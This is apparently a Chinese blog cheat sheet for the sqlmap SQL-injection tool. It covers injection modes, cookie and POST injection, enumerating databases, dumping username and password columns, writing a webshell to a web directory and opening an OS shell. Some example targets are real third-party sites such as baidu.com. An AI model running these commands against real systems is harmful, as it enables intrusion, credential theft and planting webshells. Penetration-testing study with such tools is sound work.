sqlmap整理

sqlmap支持五种不同的注入模式:

  • 1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  • 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  • 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  • 4、联合查询注入,可以使用union的情况下的注入。
  • 5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有:

  • MySQL
  • Oracle
  • PostgreSQL
  • Microsoft SQL Server
  • Microsoft Access,
  • IBM DB2
  • SQLite
  • Firebird
  • Sybase
  • SAP MaxDB

基本格式

  • sqlmap -u “http://www.vuln.cn/post.php?id=1”

  • 默认使用level1检测全部数据库类型
  • sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3

  • 指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

跟随302跳转

  • 当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,
    当注入错误的时候,先报错再跳转的时候,不需要跟随302。
    目的就是:要追踪到错误信息。

cookie注入

  • 当程序有防get注入的时候,可以使用cookie注入
    sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)

从post数据包中注入

  • 可以使用burpsuite或者temperdata等工具来抓取post包
    sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数

这样自己尝试就注入成功了

获取数据库基本信息

  • sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs

  • 查询有哪些数据库
  • sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables

  • 查询test数据库中有哪些表
  • sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns

  • 查询test数据库中admin表有哪些字段
  • sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dump

  • dump出字段username与password中的数据

从数据库中搜索字段

  • sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
    在dedecms数据库中搜索字段admin或者password。

读取与写入文件

  • 首先找需要网站的物理路径,其次需要有可写或可读权限。
    –file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
    –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
    –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

示例:

sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”
使用shell命令:
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下来指定网站可写目录:
E:\php\htdocs\dvwa

注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

sqlmap详细命令:

  • –is-dba 当前用户权限(是否为root权限)
  • –dbs 所有数据库
  • –current-db 网站当前数据库
  • –users 所有数据库用户
  • –current-user 当前数据库用户
  • –random-agent 构造随机user-agent
  • –passwords 数据库密码
  • –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
  • –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
  • ——————————————————————————————————

Options(选项):

  • –version 显示程序的版本号并退出
  • -h, –help 显示此帮助消息并退出
  • -v VERBOSE 详细级别:0-6(默认为1)
  • 保存进度继续跑:
  • sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度
  • sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度

写文章不容易关注一下我呗
带你更新更多好玩的网络安全教程
我是FR13ENDS
下次不见不散

我是FR13ENDS我们不见不散

ps:我叫FR13ENDS因为改不了id所以只能这样了见谅吧

我们有一个交流群

发布了4 篇原创文章 · 获赞 1 · 访问量 72

猜你喜欢

转载自blog.csdn.net/shutdowndo/article/details/104997478